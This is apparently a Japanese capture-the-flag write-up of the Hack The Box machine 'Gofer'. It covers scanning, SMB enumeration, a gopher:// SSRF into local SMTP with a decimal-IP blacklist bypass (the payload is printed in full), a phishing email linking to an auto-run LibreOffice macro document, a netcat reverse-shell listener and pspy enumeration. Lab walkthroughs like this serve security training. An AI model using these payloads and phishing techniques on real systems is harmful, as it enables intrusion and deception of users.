2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Gofer【WriteUp】

Last updated at Posted at 2023-10-29

初めに

どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Gofer」にチャレンジした際のWriteupになります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。

※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。

Discovery

ポートスキャン

いつも通りrustscanします。

┌──(root㉿kalimsi)-[~/work]
└─# rustscan -a 10.10.11.225 --top --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.225:22
Open 10.10.11.225:80
Open 10.10.11.225:139
Open 10.10.11.225:445
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-08 09:40 EDT
Initiating Ping Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Completed Ping Scan at 09:40, 0.21s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 09:40
Completed Parallel DNS resolution of 1 host. at 09:40, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 09:40
Scanning 10.10.11.225 [4 ports]
Discovered open port 445/tcp on 10.10.11.225
Discovered open port 139/tcp on 10.10.11.225
Discovered open port 80/tcp on 10.10.11.225
Discovered open port 22/tcp on 10.10.11.225
Completed SYN Stealth Scan at 09:40, 0.21s elapsed (4 total ports)
Nmap scan report for 10.10.11.225
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-08-08 09:40:13 EDT for 1s

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 63
80/tcp  open  http         syn-ack ttl 63
139/tcp open  netbios-ssn  syn-ack ttl 63
445/tcp open  microsoft-ds syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.52 seconds
           Raw packets sent: 8 (328B) | Rcvd: 5 (204B)

22、80番といつものPortが開きつつ、SMBのPortも開いている。とりあえず80番を列挙しにかかる。
80にアクセスするとgofer.htbが解決できないといわれるので、/etc/hostsに登録しておく。

Collection

サイト探索

Subdomain探索

以下サイトからサブドメインのリストをダウンロード

┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://gofer.htb/ -H "HOST: FUZZ.gofer.htb" -mc all -fc 301 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gofer.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.gofer.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response status: 301
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5949ms]
    * FUZZ: proxy

[Status: 400, Size: 301, Words: 26, Lines: 11, Duration: 176ms]
    * FUZZ: *

:: Progress: [100000/100000] :: Job [1/1] :: 837 req/sec :: Duration: [0:02:13] :: Errors: 0 ::

proxyのサブドメインがあるので、これも/etc/hostsに登録しておく。

ディレクトリ探索

dirsearchを使用して探索を実施。

┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://gofer.htb/   

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                             
                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/gofer.htb/-_23-08-07_23-30-31.txt

Error Log: /root/.dirsearch/logs/errors-23-08-07_23-30-31.log

Target: http://gofer.htb/

[23:30:32] Starting: 
[23:30:38] 403 -  274B  - /.ht_wsr.txt                                     
[23:30:38] 403 -  274B  - /.htaccess.bak1
[23:30:38] 403 -  274B  - /.htaccess.sample
[23:30:39] 403 -  274B  - /.htaccess.orig
[23:30:39] 403 -  274B  - /.htaccess.save
[23:30:39] 403 -  274B  - /.htaccess_extra                                 
[23:30:39] 403 -  274B  - /.htaccess_orig
[23:30:39] 403 -  274B  - /.htaccessBAK
[23:30:39] 403 -  274B  - /.htaccess_sc
[23:30:39] 403 -  274B  - /.htaccessOLD                                    
[23:30:39] 403 -  274B  - /.htaccessOLD2
[23:30:39] 403 -  274B  - /.htm
[23:30:39] 403 -  274B  - /.html
[23:30:39] 403 -  274B  - /.htpasswds
[23:30:39] 403 -  274B  - /.htpasswd_test
[23:30:39] 403 -  274B  - /.httr-oauth
[23:30:41] 403 -  274B  - /.php                                            
[23:31:16] 301 -  307B  - /assets  ->  http://gofer.htb/assets/             
[23:31:16] 200 -    2KB - /assets/                                          
[23:31:44] 200 -   29KB - /index.html                                       
[23:32:17] 403 -  274B  - /server-status                                    
[23:32:17] 403 -  274B  - /server-status/
                                                                             
Task Completed   

サブドメインの方も列挙しておく。

┌──(root㉿kalimsi)-[~/work]
└─# dirsearch -u http://proxy.gofer.htb/

  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/proxy.gofer.htb/-_23-08-07_23-39-15.txt

Error Log: /root/.dirsearch/logs/errors-23-08-07_23-39-15.log

Target: http://proxy.gofer.htb/

[23:39:17] Starting: 
[23:39:28] 403 -  280B  - /.ht_wsr.txt                                     
[23:39:28] 403 -  280B  - /.htaccess.bak1                                  
[23:39:28] 403 -  280B  - /.htaccess.orig
[23:39:28] 403 -  280B  - /.htaccess.sample
[23:39:28] 403 -  280B  - /.htaccess.save
[23:39:28] 403 -  280B  - /.htaccess_extra
[23:39:28] 403 -  280B  - /.htaccessOLD
[23:39:28] 403 -  280B  - /.htaccessBAK
[23:39:28] 403 -  280B  - /.htaccess_sc
[23:39:28] 403 -  280B  - /.htaccess_orig                                  
[23:39:28] 403 -  280B  - /.htaccessOLD2
[23:39:28] 403 -  280B  - /.htm
[23:39:28] 403 -  280B  - /.html
[23:39:28] 403 -  280B  - /.htpasswds
[23:39:28] 403 -  280B  - /.htpasswd_test
[23:39:28] 403 -  280B  - /.httr-oauth
[23:39:30] 403 -  280B  - /.php                                            
[23:40:36] 403 -  280B  - /server-status                                    
[23:40:36] 403 -  280B  - /server-status/
                                                                             
Task Completed

特段いいものは見つからない。
Proxyのサブドメインを与えておいて何もないのは気がかりなのでFFuF-mc allオプションを使い、詳細に探っていく。

┌──(root㉿kalimsi)-[~/work]
└─# ffuf -w ./directory-list-2.3-medium.txt:FUZZ -u http://proxy.gofer.htb/FUZZ.php -mc all -X POST -fs 277 -t 150

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : POST
 :: URL              : http://proxy.gofer.htb/FUZZ.php
 :: Wordlist         : FUZZ: /root/work/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 150
 :: Matcher          : Response status: all
 :: Filter           : Response size: 277
________________________________________________

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1253ms]
    * FUZZ: # Copyright 2007 James Fisher

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 1846ms]
    * FUZZ: # directory-list-2.3-medium.txt

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2002ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2235ms]
    * FUZZ: #

[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 2237ms]
    * FUZZ: 

[Status: 200, Size: 81, Words: 9, Lines: 2, Duration: 2510ms]
    * FUZZ: index

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2517ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2554ms]
    * FUZZ: # license, visit http://creativecommons.org/licenses/by-sa/3.0/

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2587ms]
    * FUZZ: # Priority ordered case-sensitive list, where entries were found

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 2862ms]
    * FUZZ: #

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 3264ms]
    * FUZZ: # This work is licensed under the Creative Commons

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5241ms]
    * FUZZ: # Suite 300, San Francisco, California, 94105, USA.

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5503ms]
    * FUZZ: # Attribution-Share Alike 3.0 License. To view a copy of this

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5540ms]
    * FUZZ: # or send a letter to Creative Commons, 171 Second Street,

[Status: 401, Size: 462, Words: 42, Lines: 15, Duration: 5548ms]
    * FUZZ: # on at least 2 different hosts

[Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 175ms]
    * FUZZ: 

:: Progress: [220560/220560] :: Job [1/1] :: 114 req/sec :: Duration: [0:07:39] :: Errors: 256 ::

あれ、index.phpあるじゃないですか!

ブラウジング

実際にブラウザでアクセスしてみた。その際のBurpの情報を確認してみる。
1.png
ほう?urlのパラメータがないと言っているのでつけてみる。
2.png
Gofer Proxy???いや、URLを送付する流れと名前から考察するにGopherを使うSSRFかな??
SSRF嫌いだから不安だなぁ...
まぁ、あと調査していないPortがあるのでそっちも調査しておく。

SMB

例のごとくsmbclientで探索します。

┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N -L \\\\gofer.htb                     

        Sharename       Type      Comment
        ---------       ----      -------
        print$          Disk      Printer Drivers
        shares          Disk      
        IPC$            IPC       IPC Service (Samba 4.13.13-Debian)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
protocol negotiation failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available

sharesの階層に突撃できそうなので突撃してみる。

┌──(root㉿kalimsi)-[~/work]
└─# smbclient -N \\\\gofer.htb\\shares
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sat Oct 29 04:32:08 2022
  ..                                  D        0  Fri Apr 28 20:59:34 2023
  .backup                            DH        0  Thu Apr 27 21:49:32 2023

                5061888 blocks of size 1024. 1586552 blocks available
smb: \> mask ""
smb: \> prompt OFF
smb: \> recurse ON
smb: \> mget *
getting file \.backup\mail of size 1101 as .backup/mail (1.2 KiloBytes/sec) (average 1.2 KiloBytes/sec)
smb: \> exit

ファイルを発見したので全て取得する呪文を唱えると、mailのファイルをゲットした。
中身を確認してみる。

From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: <jdavis@gofer.htb>
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for <tbuckley@gofer.htb>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <20221028192857.C8F7461827@gofer.htb>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.

PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>

JocelynがPhishing MailやっちゃったとかLibreoffice使ってるとかそれっぽい情報が見えてくる。
マクロ付きのMailを送ってリバースシェル待つパターンかな??GopherのSSRFにSMTPのプロトコルがあったはずなのでそれを利用すると予想。

1年前にやったFollinaのBoxはぶっ壊れてたのでちょっと不安だなぁ。

Initial Access

Exploit考察

さっきの情報たちから「GopherのSSRF経由でJocelynにフィッシングメールを送信し、LibreofficeのMalcious Macroを実施させる」といった攻撃ベクトルを思いつくはずだ。注意点としてはGopherで直接Libreofficeを送れないので、こちらでLibreofficeを配信するC2サーバを立てておき、Phishing Mailにはそのリンクを添付すると言ったベクトルにしないといけないことだ。

さて、攻撃のために必要な準備は以下の3点であろう!

  • 送信先アドレスの把握
  • Malcious Macroの作成(Libreoffice)
  • Gopherの初期送信ペイロードの作成

Mail Address

送信先の情報を収集する。SMBから見つけたJocelynにメールを送りたいので、その情報を探すのだ!
そうすると、gofer.htbのサイトにいい情報を発見する。
3.png
SMBで見つけたMailファイルの送信者だと考えられる。みた感じ、メールアドレスの構成はFirst Nameの頭文字+Last Nameだと予想できる。
4.png
Jocelynも見つけたのでこの人のMailAddressはjhudson@gofer.htbと思われる!

Malcious Macro File

Code to Execute Shell

とりあえずReverse Shellを取るためのMacroを組まなければいけないのですが、Libreoffice初心者なもので、探すのに苦労しました。

Shell関数なるものがあるみたいです。これは使えそうです。
後の構成や気をつける点(自動実行等)は大体VBAと似たようなもんでしょう。Macro付きLibreofficeを作っていきます。

Libreoffice

今回はWriter(OfficeでいうWord)を使いました。適当にlolとテキストを入れておきます。これをlol.odtとして保存します。
5.png
ToolMacrosからEdit Macrosを選択。
6.png
Macro編集画面が出てくるので、このodtファイルにshellという名前でマクロを作成します。
7.png
このマクロに先ほど調べたShell関数を実装します。ReverseShellのコードはいつもの以下サイトを参考にします。

8.png
このマクロが開いた時に自動実行されるように設定します。Organize MacrosからOpen Documentのイベントを選択しこのマクロを選ぶだけです!
9.png
これでマクロは完成です!

Gopher - SSRF

SSRFのペイロードを作成します。これには便利なToolのGopherusがあるので、紹介します。

上記Toolで簡易にPayloadが作れるのでやってみます。

┌──(root㉿kalimsi)-[/opt/Gopherus]
└─# python2 gopherus.py --exploit smtp


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Give Details to send mail: 

Mail from :  taksec@example.com
Mail To :  jhudson@gofer.htb
Subject :  Important
Message :  <a href="http://10.10.14.32/lol.odt">File</a> is Important

Your gopher link is ready to send Mail: 

gopher://127.0.0.1:25/_MAIL%20FROM:taksec%40example.com%0ARCPT%20To:jhudson%40gofer.htb%0ADATA%0AFrom:taksec%40example.com%0ASubject:Important%0AMessage:%3Ca%20href%3D%22http://10.10.14.32/lol.odt%22%3EFile%3C/a%3E%20is%20Important%0A.

-----------Made-by-SpyD3r-----------

Message部分にlol.odtのリンクを差し込んだPayloadができました!
kaliで待受側のサーバを立ち上げます。

┌──(root㉿kalimsi)-[~/work]
└─# python3 -m http.server 80

続いてリバースシェルの待受も立てます。

┌──(root㉿kalimsi)-[~/work]
└─# nc -lvnp 4444

よし、Proxyのサブドメインのurlクエリにさっき作ったSSRFのPayloadを叩き込んでみます。
10.png
ん?127がBlacklist??ならlocalhostで。
11.png
ダメか。
色々このBlacklistをバイパスできないか調査していたところ、以下のHackTricksの記事を参考にして、Decimal bypassを試してみたらとおった。

12.png
だがSSRFが通ってそうには見えない。
HackTricksの記事を読み込んでみると、Gopherusではなく直書きでペイロードを作っている様子が記載されていたので自分も作ってみる。
※何かMailヘッダで漏れていると反応しないとかあったりするかもだし。

CyberChefさんでURLEncodeし、Payloadを作成する。

13.png

14.png
ダメじゃん。2回Encodeしてみる??
15.png
16.png
あ、いけた。でもでlol.odtファイルを取ろうとしてミスしたリクエストを送ってきて404になってる。
ちょいとリンクを調整します。
17.png
これを
18.png
こうだ!!"抜いてやったぞ!
19.png
はい、来ました。最終的なSSRFのPayloadはこのようになりました。

gopher://2130706433:25/xHELO%2520jhudson%250AMAIL%2520FROM:%253Ctaksec@example.com%253E%250ARCPT%2520TO:%253Cjhudson@gofer.htb%253E%250ADATA%250AFrom:%2520%255Btaksec%255D%2520%253Ctaksec@example.com%253E%250ATo:%2520%253Cjhudson@gofer.htb%253E%250ADate:%2520Tue,%25208%2520Aug%25202023%252014:06:15%2520-0400%250ASubject:%2520Important%250A%250A%253Ca%2520href=%2522http://10.10.14.32/lol.odt%253EFile%253C/a%253E%2520is%2520Important%250A%250A.%250AQUIT%250A

でもReverse Shellが帰って来ません...
ええ...

Reverse Shell

とりあえず帰ってくるまで試すしかないです。

nc mkfifo

20.png
ダメ。

sh -i

21.png
ダメ

nc mkfifo sh ver

22.png
ダメ

busybox

23.png
24.png
いけました!!busyboxで発火します。

interactive shell

とりあえずリバースシェル確立は出来たので、探索のしやすさのためにインタラクティブシェルを確立しとく。
※このままだとTabでの補完が効かなかったり、矢印キーが効かなかったりするので。

python3でいつものptyさん呼び出して、Ctrl+Zで接続をバックグラウンドにし、以下のコマンドを実行する。

┌──(root㉿kalimsi)-[~/work]
└─# nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.10.14.32] from (UNKNOWN) [10.10.11.225] 43148
id    
uid=1000(jhudson) gid=1000(jhudson) groups=1000(jhudson),108(netdev)
python3 -c 'import pty; pty.spawn("bash")'
jhudson@gofer:/usr/bin$ ^Z
zsh: suspended  nc -lnvp 4444
                                                                                                                    
┌──(root㉿kalimsi)-[~/work]
└─# stty raw -echo; fg
[1]  + continued  nc -lnvp 4444
                               export TERM=xterm
jhudson@gofer:/usr/bin$ ^C
jhudson@gofer:/usr/bin$ 

これで足場は完成である。

Privilege Escalation - Horizontal

何かいい情報がないかサラッと手動で列挙してみたが、いいものはなかった。
とりあえず出し惜しみなしでToolに頼っていこうと思う。

pspy

pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。

┌──(root㉿kalimsi)-[~/work]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64  

実行する。

jhudson@gofer:/tmp$ chmod +x pspy64
jhudson@gofer:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/08/09 21:28:46 CMD: UID=1000  PID=21900  | ./pspy64 
2023/08/09 21:28:46 CMD: UID=0     PID=21863  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21862  | bounce -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21861  | error -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21860  | bounce -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21859  | error -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=1000  PID=21822  | bash 
2023/08/09 21:28:46 CMD: UID=1000  PID=21821  | python3 -c import pty; pty.spawn("bash") 
2023/08/09 21:28:46 CMD: UID=1000  PID=21814  | bash 
2023/08/09 21:28:46 CMD: UID=0     PID=21741  | 
2023/08/09 21:28:46 CMD: UID=1000  PID=21738  | (sd-pam) 
2023/08/09 21:28:46 CMD: UID=1000  PID=21737  | /lib/systemd/systemd --user 
2023/08/09 21:28:46 CMD: UID=33    PID=21654  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21653  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21652  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=21651  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=106   PID=21481  | cleanup -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=21462  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21413  | pickup -l -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=21279  | trivial-rewrite -n rewrite -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=21094  | 
2023/08/09 21:28:46 CMD: UID=106   PID=21077  | cleanup -z -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=0     PID=20910  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20907  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20504  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20418  | 
2023/08/09 21:28:46 CMD: UID=0     PID=20347  | 
2023/08/09 21:28:46 CMD: UID=33    PID=11595  | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6655   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6654   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6653   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6652   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=33    PID=6651   | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=106   PID=4412   | tlsmgr -l -t unix -u -c 
2023/08/09 21:28:46 CMD: UID=106   PID=1509   | qmgr -l -t unix -u 
2023/08/09 21:28:46 CMD: UID=0     PID=1507   | /usr/lib/postfix/sbin/master -w 
2023/08/09 21:28:46 CMD: UID=0     PID=992    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=985    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=984    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=958    | /usr/sbin/smbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=955    | /usr/sbin/apache2 -k start 
2023/08/09 21:28:46 CMD: UID=0     PID=939    | /sbin/agetty -o -p -- \u --noclear tty1 linux 
2023/08/09 21:28:46 CMD: UID=0     PID=932    | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups 
2023/08/09 21:28:46 CMD: UID=0     PID=916    | /usr/sbin/nmbd --foreground --no-process-group 
2023/08/09 21:28:46 CMD: UID=0     PID=851    | /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0                                               
2023/08/09 21:28:46 CMD: UID=0     PID=748    | /lib/systemd/systemd-logind 
2023/08/09 21:28:46 CMD: UID=0     PID=747    | /usr/sbin/rsyslogd -n -iNONE 
2023/08/09 21:28:46 CMD: UID=103   PID=744    | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only                                                                                
2023/08/09 21:28:46 CMD: UID=0     PID=743    | /usr/sbin/cron -f 
2023/08/09 21:28:46 CMD: UID=0     PID=739    | 
2023/08/09 21:28:46 CMD: UID=0     PID=730    | 
2023/08/09 21:28:46 CMD: UID=998   PID=676    | /usr/local/sbin/laurel --config /etc/laurel/config.toml 
2023/08/09 21:28:46 CMD: UID=0     PID=672    | /usr/bin/vmtoolsd 
2023/08/09 21:28:46 CMD: UID=0     PID=671    | /usr/bin/VGAuthService 
2023/08/09 21:28:46 CMD: UID=0     PID=668    | /sbin/auditd 
2023/08/09 21:28:46 CMD: UID=104   PID=660    | /lib/systemd/systemd-timesyncd 
2023/08/09 21:28:46 CMD: UID=0     PID=639    | 
2023/08/09 21:28:46 CMD: UID=0     PID=539    | /lib/systemd/systemd-udevd 
2023/08/09 21:28:46 CMD: UID=0     PID=517    | /lib/systemd/systemd-journald 
2023/08/09 21:28:46 CMD: UID=0     PID=477    | 
2023/08/09 21:28:46 CMD: UID=0     PID=476    | 
2023/08/09 21:28:46 CMD: UID=0     PID=261    | 
2023/08/09 21:28:46 CMD: UID=0     PID=260    | 
2023/08/09 21:28:46 CMD: UID=0     PID=231    | 
2023/08/09 21:28:46 CMD: UID=0     PID=230    | 
2023/08/09 21:28:46 CMD: UID=0     PID=229    | 
2023/08/09 21:28:46 CMD: UID=0     PID=228    | 
2023/08/09 21:28:46 CMD: UID=0     PID=227    | 
2023/08/09 21:28:46 CMD: UID=0     PID=226    | 
2023/08/09 21:28:46 CMD: UID=0     PID=225    | 
2023/08/09 21:28:46 CMD: UID=0     PID=224    | 
2023/08/09 21:28:46 CMD: UID=0     PID=223    | 
2023/08/09 21:28:46 CMD: UID=0     PID=222    | 
2023/08/09 21:28:46 CMD: UID=0     PID=221    | 
2023/08/09 21:28:46 CMD: UID=0     PID=220    | 
2023/08/09 21:28:46 CMD: UID=0     PID=219    | 
2023/08/09 21:28:46 CMD: UID=0     PID=218    | 
2023/08/09 21:28:46 CMD: UID=0     PID=217    | 
2023/08/09 21:28:46 CMD: UID=0     PID=216    | 
2023/08/09 21:28:46 CMD: UID=0     PID=215    | 
2023/08/09 21:28:46 CMD: UID=0     PID=214    | 
2023/08/09 21:28:46 CMD: UID=0     PID=213    | 
2023/08/09 21:28:46 CMD: UID=0     PID=212    | 
2023/08/09 21:28:46 CMD: UID=0     PID=211    | 
2023/08/09 21:28:46 CMD: UID=0     PID=210    | 
2023/08/09 21:28:46 CMD: UID=0     PID=209    | 
2023/08/09 21:28:46 CMD: UID=0     PID=208    | 
2023/08/09 21:28:46 CMD: UID=0     PID=207    | 
2023/08/09 21:28:46 CMD: UID=0     PID=206    | 
2023/08/09 21:28:46 CMD: UID=0     PID=205    | 
2023/08/09 21:28:46 CMD: UID=0     PID=204    | 
2023/08/09 21:28:46 CMD: UID=0     PID=203    | 
2023/08/09 21:28:46 CMD: UID=0     PID=202    | 
2023/08/09 21:28:46 CMD: UID=0     PID=201    | 
2023/08/09 21:28:46 CMD: UID=0     PID=200    | 
2023/08/09 21:28:46 CMD: UID=0     PID=199    | 
2023/08/09 21:28:46 CMD: UID=0     PID=198    | 
2023/08/09 21:28:46 CMD: UID=0     PID=197    | 
2023/08/09 21:28:46 CMD: UID=0     PID=196    | 
2023/08/09 21:28:46 CMD: UID=0     PID=195    | 
2023/08/09 21:28:46 CMD: UID=0     PID=194    | 
2023/08/09 21:28:46 CMD: UID=0     PID=193    | 
2023/08/09 21:28:46 CMD: UID=0     PID=192    | 
2023/08/09 21:28:46 CMD: UID=0     PID=191    | 
2023/08/09 21:28:46 CMD: UID=0     PID=190    | 
2023/08/09 21:28:46 CMD: UID=0     PID=189    | 
2023/08/09 21:28:46 CMD: UID=0     PID=188    | 
2023/08/09 21:28:46 CMD: UID=0     PID=187    | 
2023/08/09 21:28:46 CMD: UID=0     PID=186    | 
2023/08/09 21:28:46 CMD: UID=0     PID=185    | 
2023/08/09 21:28:46 CMD: UID=0     PID=184    | 
2023/08/09 21:28:46 CMD: UID=0     PID=183    | 
2023/08/09 21:28:46 CMD: UID=0     PID=182    | 
2023/08/09 21:28:46 CMD: UID=0     PID=181    | 
2023/08/09 21:28:46 CMD: UID=0     PID=180    | 
2023/08/09 21:28:46 CMD: UID=0     PID=179    | 
2023/08/09 21:28:46 CMD: UID=0     PID=178    | 
2023/08/09 21:28:46 CMD: UID=0     PID=177    | 
2023/08/09 21:28:46 CMD: UID=0     PID=176    | 
2023/08/09 21:28:46 CMD: UID=0     PID=175    | 
2023/08/09 21:28:46 CMD: UID=0     PID=174    | 
2023/08/09 21:28:46 CMD: UID=0     PID=173    | 
2023/08/09 21:28:46 CMD: UID=0     PID=172    | 
2023/08/09 21:28:46 CMD: UID=0     PID=171    | 
2023/08/09 21:28:46 CMD: UID=0     PID=170    | 
2023/08/09 21:28:46 CMD: UID=0     PID=168    | 
2023/08/09 21:28:46 CMD: UID=0     PID=167    | 
2023/08/09 21:28:46 CMD: UID=0     PID=166    | 
2023/08/09 21:28:46 CMD: UID=0     PID=164    | 
2023/08/09 21:28:46 CMD: UID=0     PID=162    | 
